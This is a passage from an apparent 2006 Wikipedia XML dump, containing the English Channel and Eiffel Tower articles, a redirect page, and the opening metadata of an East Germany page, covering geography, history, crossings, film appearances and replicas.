The '''English Channel''' ([[French language|French]]: '''La Manche''', [[International Phonetic Alphabet|IPA]]:  {{IPA|[mɑ̃ʃ]}}, &quot;''the sleeve''&quot;), also for some time known in England as the British Sea, is the part of the [[Atlantic Ocean]] that separates the [[island]] of [[Great Britain]] from northern [[France]], and joins the [[North Sea]] to the [[Atlantic Ocean]]. It is about 563&amp;nbsp;[[kilometre|km]] (350&amp;nbsp;[[mile|mi]]) long and at its widest is 240&amp;nbsp;km (150&amp;nbsp;mi). The [[Strait of Dover]] is the narrowest part of the channel, being only 34&amp;nbsp;km (21&amp;nbsp;mi) from [[Dover, England|Dover]] to [[Cap Gris Nez]], and is located at the eastern end of the English Channel, where it meets the North Sea.

The Channel is quite shallow, with an average depth of about 120&amp;nbsp;m at its widest part, reducing to about 45&amp;nbsp;m between Dover and [[Calais]], then remaining shallow where it lies over the remains of the former land bridge between East Anglia and the Low Countries. (See '[[#Formation of the Channel|Formation of the Channel]]')

The [[Channel Islands]] lie in the Channel, close to the French side. The [[Isles of Scilly]] in the [[United Kingdom|UK]] and [[Ushant]] in France mark the western end of the Channel.

The French ''[[département in France|département]]'' of [[Manche]], which incorporates the [[Cotentin Peninsula]] that juts out into the Channel, takes its name from the surrounding seaway.

==Formation of the Channel==

Before the end of the last [[ice age]], around 10,000 years ago, the [[British Isles]] were part of mainland Europe. During the ice age today's [[North Sea]] and almost all of the British Isles were covered with ice. The sea level was about 120 metres lower then, and the &quot;channel&quot; was an expanse of low-lying [[tundra]], through which passed a river which drained the [[Rhine]] and [[River Thames|Thames]] towards the Atlantic to the West. As the icesheet melted, a large freshwater lake formed in the southern part of what is now the North Sea. As the meltwater could still not escape to the North (as the northern North Sea was still frozen) the outflow channel from the lake entered the Atlantic Ocean in the region of Dover and Calais.

At some point around [[7th millennium BC|6500 BC]], catastrophic [[erosion]] swept away the [[chalk]] to create the English Channel, which has since been further widened by [[wave action]] on the soft, chalk cliffs. The same mechanism continues to widen the English Channel today.

==Historical significance==

The Channel has been a key natural defence for Britain, a fact that is referred to in [[William Shakespeare]]'s play ''[[Richard II (play)|Richard II]]'':

[[image:English Channel.jpg|thumb|300px|Map of the English Channel]]

:''This precious stone set in the silver sea,''
:''Which serves it in the office of a wall''
:''Or as a moat defensive to a house,''
:''Against the envy of less happier lands''
:&amp;nbsp; &amp;ndash; ''Richard II''. Act 2, Scene 1.

It has allowed Britain to intervene but rarely be dangerously threatened in European conflicts. Without the gap [[Napoleon I|Napoleon]] and [[Hitler]] would possibly have been able to overcome the powerful enemy that the British state represented.

Nevertheless, the Channel has been the scene of many invasions (or attempted invasions) including the [[Norman Conquest]] in [[1066]], the [[Spanish Armada]] in [[1588]], and the [[Battle of Normandy|WWII Normandy landings]] in [[1944]].

The Channel has been the scene of many [[list of naval battles|naval battles]], including the [[Battle of Goodwin Sands]] ([[1652]]), the [[Battle of Portland]] ([[1653]]), the [[Battle of La Hougue]] ([[1692]]) and the engagement between [[USS Kearsarge (1861)|USS Kearsarge]] and [[CSS Alabama]] ([[1864]]).

However, at times the Channel has served as a link joining shared cultures and political structures, from pre-Roman [[Celt]]ic society, the [[Culture of Rome|Roman imperial culture]], and the foundation of [[Brittany]] by settlers from Great Britain, to the [[Normans|Anglo-Norman]] state.

Cross-Channel trade has been a significant factor for societies on both sides of the Channel from prehistoric times, and a number of important [[seaport|ports]] have developed in England and in France:

* [[Dover]]
* [[Calais]]
* [[Dieppe, France]]
* [[Southampton]]
* [[Portsmouth]]
* [[Poole]]
* [[Le Havre]]
* [[Cherbourg-Octeville]]

Important [[ferry]] routes are

* Dover-Calais
* [[Newhaven, East Sussex|Newhaven]]-Dieppe
* Portsmouth-[[Caen]] ([[Ouistreham]])
* Portsmouth-Cherbourg
* Portsmouth-Le Havre
* [[Poole]]-[[Saint Malo]]
* [[Weymouth, Dorset|Weymouth]]-Saint Malo
* [[Plymouth]]-[[Roscoff]]

Adding to the high level of cross-Channel traffic is the very significant traffic passing through the Channel, linking the economies of northern Europe with the rest of the world. Combined, this maritime traffic makes the Channel one of the busiest seaways in the world, accounting for a large share of global maritime trade (some sources place this at up to one quarter).

The coastal resorts of the Channel, such as [[Brighton]] and [[Deauville]], inaugurated an era of aristocratic tourism in the early [[19th century]] which developed into the democratic seaside tourism that has shaped resorts around the world.

== The Channel Tunnel ==

Nowadays, many travellers cross the English Channel underneath, by way of the [[Channel Tunnel]] or &quot;Chunnel&quot;. This grand engineering feat, first proposed in the time of Napoleon and finally completed in 1994, connects England and France by [[Rail transport|rail]].

It is now routine to travel between [[Paris]], [[Brussels]] and [[London]] on the [[Eurostar train]].

== Notable Channel crossings ==

On [[7 January]] [[1785]] Frenchman [[Jean-Pierre Blanchard]] and [[United States|American]] [[John Jeffries]] travelled from Dover to Calais in a gas [[balloon]], becoming the first to cross the English Channel by air. [[Pilâtre de Rozier]] perished while attempting a similar balloon crossing - the first recorded air crash.

[[William Murdoch]]'s ''The Caledonia'' became the first steamboat to carry out a cross-channel crossing.

The first person to swim the channel was [[Matthew Webb]] in [[1875]]. 

In [[1909]], [[Louis Blériot]] (France) was the first person to fly over the English Channel in a heavier-than-air [[aircraft]].

On [[August 23]] [[1910]], [[John Moisant]] flew the first aircraft flight with a passenger across the English Channel. His passenger was his mechanic, Albert Fileux, and he also took his cat.

On [[6 August]] [[1926]], [[Gertrude Ederle]] became the first woman to swim the Channel, breaking the men's record of the time by two hours. 

On November 24 1927, [[Mercedes Glietze]] swims across wearing a [[Rolex Oyster]].

The [[Mountbatten class hovercraft]] entered commercial service in August [[1968]] initially operated between Dover and Boulogne but later craft also made the [[Ramsgate]] ([[Pegwell Bay]]) to Calais route. The journey time, Dover to Boulogne, was roughly 35 minutes, with six trips a day at peak times. The fastest crossing was made in [[1995]] at just 22 minutes.

In July [[1972]], [[Lynne Cox]] became the youngest person to swim the English Channel at age fifteen, breaking both the men's and women's records. She swam the channel again in 1973, setting a new record time of nine hours and thirty-six minutes.

In [[1979]], a 70 lb (32 kg) aircraft called the ''[[Gossamer Albatross]]'' won the £100,000 [[Kremer prize]] for being the first human-powered airplane to fly over the Channel. The pilot [[Bryan Allen (cyclist)|Bryan Allen]] pedalled for 3 hours to accomplish this feat.

In [[1981]] the ''Solar Challenger'' became the first solar-powered airplane to complete a crossing.

The fastest swim of the channel was by Christof Wandratsch in [[2005]].  He crossed the channel in 7 hours 3 minutes and 52 seconds.

In [[1997]] the ''SB Collinda'' was the first vessel to complete a solar-powered crossing using photovoltaic cells. 

On [[31 July]] [[2003]], Austrian skydiver [[Felix Baumgartner]], wearing high-tech [[carbon]] wings, jumped out of a plane 30,000 feet (9 100 m) above Dover, glided over the Channel, and opened his parachute above Calais.

[[Image:RBAquada.jpg|thumbnail|150px|right|Sir Richard Branson, about to embark on his channel crossing in a floating car.]]

On [[14 June]] [[2004]], Sir [[Richard Branson]] broke the world record for crossing the Channel in an amphibious vehicle. The Gibbs [[Aquada]], a two-seater open-top sports car, in which he did it, broke the record by some 6 hours.

Other swimming crossings include: [[Vicki Keith]] (first butterfly swim crossing); [[Florence Chadwick]] (first woman to swim the Channel in both directions); [[Winnie Leuszler]] (first Canadian woman); [[Marilyn Bell]] (youngest person up to 1955); [[Amelia Gade Corson]] (first mother and second woman); [[Mercedes Gleitze]] (first Englishwoman, 7 October 1927); Comedian [[Doon Mackichan]] has also swum the channel.

==See also==
*[[:Category:Islands in English Channel]]
*[[Automatic]]
*[[Phoenix breakwaters]]
*[[Booze cruise]]
*[[English Canal]]

[[Category:Straits of Europe]]
[[Category:Seas of the Atlantic Ocean]]
[[Category:Geography of Europe]]

[[ca:Canal de la Mànega]]
[[cs:Lamanšský průliv]]
[[cy:Môr Udd]]
[[da:Engelske Kanal]]
[[de:Ärmelkanal]]
[[et:La Manche]]
[[es:Canal de la Mancha]]
[[eo:Manika Markolo]]
[[fr:Manche (mer)]]
[[fy:It Kanaal]]
[[gl:Canle da Mancha]]
[[ko:영국 해협]]
[[id:Selat Inggris]]
[[is:Ermarsund]]
[[it:La Manica]]
[[he:תעלת למאנש]]
[[kw:Chanel]]
[[lb:Äermelkanal]]
[[nl:Het Kanaal]]
[[ja:イギリス海峡]]
[[no:Den engelske kanal]]
[[nn:Den engelske kanalen]]
[[pl:Kanał La Manche]]
[[pt:Canal da Mancha]]
[[ru:Ла-Манш]]
[[sk:Lamanšský prieliv]]
[[sl:Rokavski preliv]]
[[sv:Engelska kanalen]]
[[uk:Ла-Манш]]
[[zh:英吉利海峡]]</text>
    </revision>
  </page>
  <page>
    <title>Estimating Parameters</title>
    <id>9231</id>
    <revision>
      <id>34431691</id>
      <timestamp>2006-01-09T00:58:43Z</timestamp>
      <contributor>
        <username>MarkSweep</username>
        <id>58666</id>
      </contributor>
      <comment>rdr to [[estimation theory]]</comment>
      <text xml:space="preserve">#REDIRECT [[estimation theory]]</text>
    </revision>
  </page>
  <page>
    <title>Eiffel Tower</title>
    <id>9232</id>
    <revision>
      <id>42033598</id>
      <timestamp>2006-03-03T09:46:54Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/193.213.42.22|193.213.42.22]] ([[User talk:193.213.42.22|Talk]]) to last version by Ixfd64</comment>
      <text xml:space="preserve">[[Image:Tour eiffel at sunrise from the trocadero.jpg|thumb|right|160px|The Tower at sunrise]] 

The '''Eiffel Tower''' ([[French language|French]]: ''Tour Eiffel''; [[IPA|IPA pronunciation]]: {{IPA|/'aɪfəl/}}, &quot;eye-full&quot; [[English language|English]]; {{IPA|/ɛ'fɛl/}}, &quot;eh-fehl&quot; [[French language|French]]) is an [[iron]] [[tower]] built on the ''[[Champ de Mars]]'', beside the [[River Seine]] in [[Paris]]. It is among the most recognized symbols of [[France]]. Named after its designer, engineer [[Gustave Eiffel]], it is a premier [[tourist destination]], with over 5.5 million visitors per year.

==Statistics==
The tower stands 300 m (986 feet) high, which is about 75 stories. Including the 24 m (72 feet) antenna, the structure is 324 m (1058 feet) high. At the time of its construction in [[1889]], the Eiffel Tower was the [[World's tallest structures|tallest structure in the world]], a title it retained until [[1930]], when [[New York City|New York City's]] [[Chrysler Building]] (319 m/1046 feet tall) was completed (although the Eiffel Tower was still taller if the respective spires of the two structures were excluded). The Eiffel Tower is the second-highest structure in France, after the 350 m [[Allouis longwave transmitter]]. By far, the tower is the highest structure in Paris; France's third-highest structure, the [[Tour Montparnasse|Montparnasse Tower]] (''Tour Montparnasse'') in [[Montparnasse]] neighborhood, is 209 m.

==Background==
[[Image:Tour Eiffel 1878.jpg|thumb|250px|left|Eiffel tower under construction in July 1888]]

The structure was built between [[1887]] and [[1889]] as the entrance arch for the [[Exposition Universelle (1889)]], a [[World's fair]] marking the centennial celebration of the [[French revolution]]. It is located at [[geographic coordinates]] {{coor dms|48|51|29|N|2|17|40|E|region:FR_type:landmark}}. The tower was inaugurated on [[March 31]], [[1889]], and opened on [[May 6]]. Three hundred workers joined together 18,038 pieces of [[Puddling furnace|puddled iron]] (a very pure form of structural iron), using two and a half million [[rivet]]s, in a structural design by [[Maurice Koechlin]]. The risk of accident was great, for unlike modern skyscrapers the tower is an open frame without any intermediate floors except the two platforms. Yet, because Eiffel took good care of his workers with movable stagings, guard-rails and screens, only one man died (during the installation of [[Otis Elevator Company|Otis Elevator]]'s [[elevator|lift]]s).

The tower is 300 [[metre|meters]] (986 feet) tall, not including the 24-meter television [[antenna (electronics)|antenna]] on top. The metal structure weighs 7,300 [[tonne|metric ton]]s, the total weight is 10,100 metric tons. The number of steps to the summit has varied over the history of the tower through various renovations: at the time of construction in 1889, there were 1710 steps to the summit platform at 300.65 m; after a renovation in the early 1980s, there were 1920 steps; and today there are 1665 steps (although it is not possible for the public to reach the summit via the stairs&amp;mdash;elevators are required beyond the second platform).

[[Image:Tour Eiffel nuit Concorde.jpg|thumb|right|250px|The Eiffel Tower from the [[Pont de la Concorde]]]]
Depending on the ambient temperature, the top of the Eiffel Tower may shift away from the sun by up to 8 cm (3.25 inches), due to [[thermal expansion|expansion of the metal]] on the side facing the sun.

Maintenance on the tower includes applying 50 metric tons of three graded tones of paint every 7 years to protect it from rust.  On occasion, the colour of the paint is changed (the tower is currently painted a shade of brown).  On the first floor, there are interactive consoles hosting a poll for the colour to use for a future session of painting.

The tower was met with resistance from the public when it was first built, many thinking it an eyesore.  Today, it is widely considered to be one of the most striking pieces of structural art in the world.

One of the great [[Hollywood]] movie clichés is that the view from a Parisian window always includes the Eiffel Tower. In reality, since zoning restrictions limit the height of most buildings in Paris to a few stories, only a few of the taller buildings have a clear view of the Tower.

Originally, Eiffel had a permit to leave the tower standing for 20 years, more than recouping his expenses, but, as it proved valuable for communication purposes, it was allowed to stay after the end of the permit.

==Installations ==
[[Image:Eiffel_closeup.jpg|thumb|right|200px|The lace-like iron detailing]]

Since the beginning of the [[20th century]], the Eiffel Tower has been used for [[radio]] transmission. Until the [[1950s]], an occasionally modified set of antenna wires ran from the summit to anchor points on the [[avenue de Suffren]] and [[Champ de Mars]]. They were connected to long-wave transmitters which were in small bunkers; in [[1909]], a permanent underground radio center was built near the south pillar of the tower and still exists today.  Since [[1957]], the Eiffel Tower has been used as transmission tower for [[Frequency modulation|FM]] and [[television]].

The Eiffel Tower has [http://www.tour-eiffel.fr/teiffel/uk/pratique/resto/index.html two restaurants]: ''Altitude 95'', on the first floor (95&amp;nbsp;m above [[sea level]]); and the ''[[Jules Verne]]'', an expensive [[gastronomy|gastronomical]] restaurant on the second floor, with a private elevator.  This restaurant has one star in the [[Michelin_Guide|Michelin Red Guide]].

== Events ==
[[Image:Paris-Eiffel-down.jpg|thumb|left|200px|Looking down from the top observation deck]]

[[Priest|Father]] [[Theodor Wulf]] in [[1910]] took observations of [[radiant energy]] radiating at the top and bottom of the Eiffel Tower, discovering more than was expected at the top, and thereby detecting what are today known as [[cosmic ray]]s. 

In [[1925]], the con artist [[Victor Lustig]] twice &quot;sold&quot; the Eiffel Tower for scrap. 

In [[1930]], the Tower lost the title of the World's tallest structure when the [[Chrysler Building]] was completed in [[New York City|New York]]. 

From [[1925]] to [[1934]], illuminated signs for [[Citroën]] adorned three of the tower's four sides, making it the tallest billboard in the world at the time.  

[[Image:TourEiffel_gobeirne.jpg|thumb|right|200px|Looking down from the first level at one of the feet of the Tower]]

When the [[Nazis]] occupied [[Paris]] in [[1940]], the lift cables were cut by the French so that [[Adolf Hitler | Hitler]] would have to climb the 1,665 steps to the summit - the parts to repair them were allegedly impossible to obtain because of [[World War II|the war]], though it was working again within hours of the departure of the [[Nazi]]s.  He chose to stay on the ground. A Frenchman also scaled the tower during the German occupation to hang the French flag. In August [[1944]], when the [[Allies]] were nearing Paris, [[Hitler]] ordered general [[Dietrich von Choltitz]], the military governor of Paris, to burn down the tower along with the rest of the city. He disobeyed the order.

On [[January 3]], [[1956]], a fire damaged the top of the tower.

In [[1959]] the present radio antenna was added to the top.

In the [[1980s]] an old [[restaurant]] and its supporting [[iron]] scaffolding midway up the tower was dismantled; this was purchased and reconstructed in [[New Orleans, Louisiana]], originally as the Tour Eiffel Restaurant, more recently known as the Red Room.

In the year [[2000]], flashing lights and four high-power [[searchlight|searchlights]] were installed on the tower.  Since then the light show has become a nightly event.  The searchlights on top of the tower make it a beacon in Paris' night [[sky]].

The [[tower]] received its 200,000,000th guest on [[November 28]], [[2002]].

At 19:20 on [[July 22]], [[2003]], a fire occurred at the top of the tower in the [[broadcasting]] equipment room. The entire tower was evacuated; the fire was extinguished after forty minutes, and there were no reports of injuries.

== The 72 names ==
[[Image:eiffel.trocadero.arp.750pix.jpg|thumb|right||200px|View to the northwest from the Tower, across the River [[Seine]], showing the [[Trocadéro]] gardens and the [[Palais de Chaillot]]. A pleasure boat cruises on the river]]
{{main|The 72 names on the Eiffel Tower}}

On the tower, the names of 72 French scientists and engineers are engraved in recognition of their contributions. This engraving was overpainted at the beginning of the 20th century and restored in 1986-1987 by [[SNTE]] (&quot;Société Nouvelle d'Exploitation de la Tour Eiffel&quot;), a company contracted to operate business related to the Tower (the Tower is owned by the City of Paris).

== Image copyright ==
Images of the Eiffel Tower have long been in the [[public domain]]; however in [[2003]], the operating company SNTE installed a new lighting display on the tower. The effect is to put the night-time image of the tower under copyright. It follows that it is no longer legal to publish contemporary photographs of the tower without permission.

The imposition of copyright has been controversial. The Director of Documentation for SNTE, Stéphane Dieu, commented in January 2005 &quot;It is really just a way to manage commercial use of the image, so that it isn't used in ways we don't approve&quot;. However, it also potentially has the effect of prohibiting tourist photographs of the tower at night from being published. [http://blog.fastcompany.com/archives/2005/02/02/eiffel_tower_repossessed.html]

In a recent decision, the [[Court of Cassation]] ruled that an architect could not claim copyright over images including one building the design of which they held the copyright if the photograph encompasses a larger area. This seems to indicate that SNTE cannot claim copyright on photographs of Paris incorporating the lighted tower at night.

==Appearance in film==
[[Image:Paris to parents 079.jpg|200px|right|thumb|The Eiffel Tower is made from 18,038 pieces of puddled iron]]

* [[1923]]: [[René Clair]]'s ''[[Paris qui dort]]'' starts, ends and has many scenes on the Eiffel Tower.
* [[1949]]: In the film ''[[The Man On The Eiffel Tower]]'' the Tower plays a central role, and the climactic scene involves a climbing chase that predates the Mount Rushmore scene of ''[[North by Northwest]]''.
* [[1951]]: ''[[The Lavender Hill Mob]]'' - models of the tower are central to the plot, and the climax takes place on the real tower.
* [[1953]]: In the end of ''[[The War of the Worlds (1953 movie)|The War of the Worlds]]'', the tower is seen destroyed.
* [[1958]]: At the beginning of Francois Truffaut's ''[[The 400 Blows]]'' the tower is seen between Parisian apartment blocks
* [[1965]]: At the end of the Blake Edwards movie ''[[The Great Race]]'', starring [[Tony Curtis]] and [[Jack Lemmon]], [http://www.imdb.com/title/tt0059243/] the tower is blown up by a misfired cannon shot from Professor Fate's car.
* [[1970]]: The tower is shown in the classic animated film ''[[The Aristocats]]''.
* [[1980]]: The tower (and the rest of [[Paris]]) were almost blown up by a terrorist nuclear bomb and Lois Lane almost plunged to her death under its elevator in [[Superman II]].
* [[1981]]: ''[[Condorman]]'' attempts to fly off of the tower in the movie by the same name.
* [[1985]]: The [[James Bond]] film ''[[A View to a Kill]]'' contains a scene in the Eiffel Tower including scenes in the ''Jules Verne'' restaurant there.
* [[1985]]: In the film ''[[National Lampoon's European Vacation]]'', Clark throws Rusty's beret off the Tower.  A dog, thinking it is a frisbe, jumps after it.  Because they sought a PG-13 rating, however, the dog is not seen dying, but rather, lands in a pond at the bottom of the tower.
* [[1991]]: In [[Star Trek VI: The Undiscovered Country]] the Eiffel Tower is shown as still standing in the 23rd Century and is visible from the office of the [[Federation President]].  The Eiffel Tower was also seen in the [[Star Trek]] franchise in 24th Century Paris in the episode of &quot;[[We'll Always Have Paris]]&quot;([[1988]]) of [[Star Trek: The Next Generation]] and in two episodes of [[Star Trek: Deep Space Nine]], &quot;Homefront&quot; and &quot;Paradise Lost&quot; ([[1996]]). 
* [[1995]]: In ''[[La Haine (movie)|La Haine]]'', the main protagonists lament the fact that they cannot switch the lights of the Eiffel Tower off ''like people can in the movies''. The lights switch off just after they have given up and turned their backs on the tower.
* 1995: In ''[[French Kiss]]'', Kate misses seeing the tower several times while she wanders around Paris, but later spends several minutes rapturously watching it while on the train to [[Cannes]] (which apparently doesn't actually go by the Tower).
* [[1996]]: The Eiffel Tower can be seen on TV in ''[[Independence Day (movie)|Independence Day]]'' (and is destroyed in the French movie version).
* [[1996]]: In ''[[Mars Attacks!]]'', the Eiffel Tower is destroyed by Martians.
* [[1998]]: The tower is destroyed in ''[[Armageddon (movie)|Armageddon]]''.
* [[2000]]: In ''[[Rugrats in Paris: The Movie]]'', the babies are atop the tower while using the giant Reptar invention.
* [[2001]]: In ''[[The Royal Tenenbaums]]'', the tower appears reflected on the window in a brief scene of Margot Tenenbaum ([[Gwyneth Paltrow]]) with her french lesbian lover
* [[2001]]: In ''[[Moulin Rouge!]]'', an object thrown from ''[[Montmartre]]'' by Christian (''[[Ewan McGregor]]'') bounces off the tower underneath the smiling moon during the finale.
* [[2003]]: In ''[[Paris Season (The Real World)|The Real World Paris]]'' television show on the US [[MTV]] network, the tower is seen.
* [[2003]]: The Tower is featured in ''[[Looney Tunes: Back In Action]]''.
* [[2004]]: In ''[[Van Helsing]]'', the Eiffel Tower is under construction.
* [[2004]]: In ''[[Team America: World Police]]'', a rocket blows the tower up, then the tower falls on the [[Arc de Triomphe]].
* [[2004]]: The tower flew and moved around [[Paris]] in the puppet version of ''[[Without a Paddle]]'', in a scene that starts only after the credits end.
* [[2004]]: In ''[[Godzilla: Final Wars]]'', [[Kamacuras]] attacks the tower.
* [[2004]]: The tower is seen in ''[[Eurotrip]]''.
* [[2006]]: The tower was seen on ABC's ''[[The Bachelor]]''.

[[Image:eiffel.tower.cdmars.arp.jpg|thumb|right|200px|View southeast from the Tower, down the [[Champ de Mars]], with the [[Tour Montparnasse]] (Montparnasse Tower) in the distance]]

==Imitations and reproductions ==
Several [[reproduction]]s/[[model (physical)|model]]s of the Eiffel Tower (often smaller-[[scale (measurement)|scale]]) exist. 

===Imitations (similar towers, not scale models)===
In order of decreasing height:
* [[Kiev TV Tower]], [[Kiev]], [[Ukraine]] - At 385m, the world's tallest lattice tower, with similarities to the Eiffel Tower, although with no observation deck for visitors.
* [[Riga Radio and TV Tower]], [[Riga]], [[Latvia]] - 368.5 m concrete tower on three legs, in similar style to the Eiffel Tower.
* [[Dragon Tower]], [[Harbin]] - a 336 metre high lattice tower at Harbin, China.
* [[Tokyo Tower]], [[Tokyo]], [[Japan]] - 9m higher than the original (33 m if the TV antenna is included)).
* [[Yerevan TV Tower]], [[Yerevan]], [[Armenia]] - 311.7 m high lattice tower built from 1974 to 1977.
* [[St. Petersburg TV Tower]], [[Saint Petersburg|St. Petersburg]], [[Russia]] - 310 m lattice tower without observation deck, resembling the Eiffel Tower.
* [[Star Tower]], [[Cincinnati, Ohio]] - 291.4 m transmission tower from a similar design, but without observation deck.
* [[Qingdao TV Tower]], [[China]] - 232 m TV tower with observation deck.
* [[Crystal Palace Transmitter]], [[London]], [[England]] - 222 m [[radio masts and towers|TV tower]] without observation deck, nicknamed London's Eiffel Tower.
* [[Brasilia TV Tower]], [[Brasilia]], [[Brazil]] - 218 m lattice tower with an observation deck at a height of 75 m.
* [[Guangzhou TV Tower]],  [[Guangzhou]], [[China]] - A 217 metre high TV tower of lattice steel at Guangzhou
* [[Guangdong TV Tower]], [[Guangdong]], [[China]] - A 200 metre high TV tower of lattice steel at Guangdong
* [[Nagoya TV Tower]], [[Nagoya]], [[Japan]] - 180 m
* [[Odinstårnet]], [[Odense]], [[Denmark]] - A 177 metre high lattice tower, destroyed in 1944
* [[Blackpool Tower]], [[Blackpool]], [[England]] - 158 m (519 ft); it is not quite a free-standing structure, it stands above the Tower Circus complex, where the four &quot;legs&quot; can be seen.
* [[Mesquite Tower]], [[Mesquite, Texas|Mesquite]], [[Texas]] - 155.3 m transmission tower from a similar design, but without observation deck.
* [[Croydon Transmitter]] - A 152 metre high transmission tower at London without observation deck
* [[Funkturm Berlin|Radio Tower Berlin]], [[Berlin]], [[Germany]] - 150m [[radio masts and towers|transmission tower]] with observation deck. Sometimes nicknamed as a copy of the Eiffel Tower, although the two structures are not too similar. The Radio Tower Berlin is the only observation tower whose feet are insulated against ground.
* [[Sapporo TV Tower]], [[Sapporo]], [[Japan]] - 147 m.
* [[Beppu Tower]], [[Beppu]], [[Japan]] - 100 m, [http://www2.odn.ne.jp/yoko-tower/list1-e.htm]
* [[Zendstation Zwollerkerspel]] - 90 m high radio tower remembering to Eiffel Tower
* [[Tour métallique de Fourvière]], [[Lyon]], [[France]] - 85.7 m [[lattice tower]] built from 1892 to 1894. Used until 1953 as an observation tower, but is now a TV Tower closed to visitors.
* [[Torre del Reformador]], [[Guatemala City]], [[Guatemala]] - 75 m.
* [[Transmitter Brookmans Park]] - two 60.96 metre high lattice towers, insulated against ground
* [[Petrinska rozhledna]], [[Prague]], [[Czech Republic]] - 60 m, built in [[1891]].
* [[Watkins' Tower]], [[Wembley Park]], [[London]], [[England]] - never completed, demolished in 1907.
* [[Joseph's Cross]], [[Stollberg]]/[[Harz]], [[Germany]] - 38 m observation tower in form of a double-cross, resembling the Eiffel Tower.
* [[Lemberg Tower]], Lemberg Mountain, [[Germany]] - 33 m observatio tower of lattice steel, built in [[1899]]
* [[Tour du Belvédère]] - a small observation tower in Mulhouse, Alsace, France resembling to Eiffel Tower.
* [[Woodwards Building]], [[Vancouver]], [[Canada]] - A small reproduction on the [[roof]] of the building is topped by a signature neon &quot;W&quot;. This building is now being converted into social housing. [http://www.downtowneastside.ca/images/woody/wo08.jpg]

=== Reproductions (to scale) ===
In order of decreasing height:
* In front of the [[Paris Las Vegas]] hotel/casino on the [[Las Vegas Strip]],  [[Paradise, Nevada]], near [[Las Vegas, Nevada|Las Vegas]], [[United States|USA]] - 165 m (540 ft, scale 1:2). [http://www.timshell.com/pics/lasvegas/EiffelTower2.jpg]
* [[Shenzhen]], [[China]] - ~100 m (~328 ft, scale 1:3)
* [[Paramount's Kings Island]], [[Ohio]], [[United States|USA]] - ~100 m (~328 ft, scale 1:3)
* [[Paramount's Kings Dominion]], [[Virginia]], [[United States|USA]] - 84 m (275 ft, scale 1:3.59)
* [[Slobozia]], [[Romania]] - 54 m (177 ft)
* In Parizh, [[Chelyabinsk Oblast]], [[Nagaybaksky District]], [[Chelyabinsk Oblast]], Russia. Built by South Ural Cell Telephone company, used as a cell phone tower. - 50 m (164 ft)
* [[Walt Disney World]]'s [[Epcot]] [[theme park]] in [[Lake Buena Vista, Florida|Lake Buena Vista]], [[Florida]], [[United States|USA]] (at the France Pavilion in [[World Showcase]]) - 23 m (76 ft, scale 1:13) [http://www.disneyworldtrivia.com/trivia/epcot/worldshowcase/france.php (information)]
* [[Paris, Texas]] - 20 m (65 ft)
* As a [[Meccano]] model, housed at the Technology Museum of Georgia ([[Atlanta, Georgia]]). - 11m (36 ft) [http://www.dalefield.com/mwes/history/eiffel_tower.html]
* On a roof of an industrial building in [[Satteldorf]], [[Germany]] -(height unknown)
* Centerpiece of the [[Falconcity of Wonders]], a planned new development project in [[Dubai]]. [[United Arab Emirates|UAE]], featuring seven modern [[wonders of the world]] (planned). [http://www.falconcity.com/]
* Model of the Eiffel Tower in [[Paris, Tennessee]], about 25 feet (7.6 m)  tall.
* Model on the roof of the Rue De Paris cafe in [[Brisbane, Australia]] - (roughly 12m tall)

===Scale Models===

The [http://www.heller.fr Heller] company sells an unassembled 1:650 scale plastic model of the Tower under reference 81201; it is about 49 cm (19 inches) tall when assembled.

[http://www.paperlandmarks.com/eiffel-tower.htm Paper scale model by Paperlandmarks] is 36 cm (14 inches) tall when assembled.

== Access ==
*[[Paris Metro|Metro]]: [[Trocadéro (Paris Metro)|Trocadéro]] (9) or [[Bir-Hakeim (Paris Metro)|Bir-Hakeim]] (6)
*[[RER]]: [[Champ de Mars - Tour Eiffel (Paris Metro)|Champs-de-Mars - Tour-Eiffel]] (C)

==References==

* [[Dominique Frémy|Frémy, Dominique]], ''Quid de la Tour Eiffel,'' Robert Lafont, Paris (1989) - ''out of print''

==External links== 
{{commons|Eiffel Tower}}
* [http://www.tour-eiffel.fr/ Official website of the Eiffel Tower] - [http://www.tour-eiffel.fr/teiffel/uk/ English version]
* [http://www.paris-france-vacation.com/eiffel-tower-information.html Eiffel Tower Travel Information] 
* [http://en.structurae.de/structures/data/index.cfm?id=s0000021 Structurae: Eiffel Tower]
* [http://www.cbsforum.com/cgi-bin/articles/partners/cbs/search.cgi?template=display&amp;dbname=cbsarticles&amp;key2=eiffel&amp;action=searchdbdisplay The story of Eiffel Tower] - by [http://www.cbsforum.com/ CBS Forum]
* [http://www.abcparislive.com 3 Live Webcams of the Eiffel Tower]

* [http://www.insecula.com/musee/M0054.html/ Eiffel Tower at insecula.com] (site in French)
* [http://www.discoverfrance.net/France/Paris/Monuments-Paris/Eiffel.shtml Discover France - Eiffel Tower]
* [http://www.panoramas.dk/fullscreen/fullscreen32.html Panoramic photo of the Eiffel Tower] in [[QuickTime]] VR format
* [http://www.photoglobe.info/spc_eiffel_tower.html Eiffel Tower from Space]
* [http://maps.google.com/maps?ll=48.858197,2.294490&amp;spn=0.005412,0.005759&amp;t=k&amp;hl=en Satellite view of the Eiffel Tower] (Google Maps)
* [http://bbs.keyhole.com/ubb/showthreaded.php/Cat/0/Number/268868/an/0/page/3#268868 3D render of the Eiffel Tower for use in Google Earth]
* [http://www.frommers.com/destinations/paris/A25288.html Frommer's Review of the Eiffel Tower]
* [http://www.city-photos.digitalphoto.pl/Paris/photos/Eiffel_Tower/ Free photo gallery of the Eiffel Tower]
* [http://www.tolomeus.net/parigi/trocadero.html France, Paris, Trocadero] Panorama from Trocadero with map and compass effect by Tolomeus
* [http://www.landscape-photo.net/Monuments/France-Paris-Eiffel_Tower/ Wallpapers gallery of the Eiffel Tower]

{{Supertall}}
[[Category:Buildings and structures in Paris]]
[[Category:Tourism in Paris]]
[[Category:Towers in France]]
[[Category:Landmarks]]
[[Category:Historic civil engineering landmarks]]

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[[id:Menara Eiffel]]
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[[simple:Eiffel Tower]]
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[[sr:Ајфелова кула]]
[[fi:Eiffelin torni]]
[[sv:Eiffeltornet]]
[[ta:ஈபெல் கோபுரம்]]
[[th:หอไอเฟล]]
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[[vi:Tháp Eiffel]]
[[zh:埃菲尔铁塔]]</text>
    </revision>
  </page>
  <page>
    <title>East Germany</title>
    <id>9233</id>
    <revision>
      <id>42074022</id>
      <timestamp>2006-03-03T17:19:22Z</timestamp>
      <contributor>
        <username>Horses In The Sky</username>
        <id>684672</id>
      </contributor>
      <comment>Reverted edits</comment>
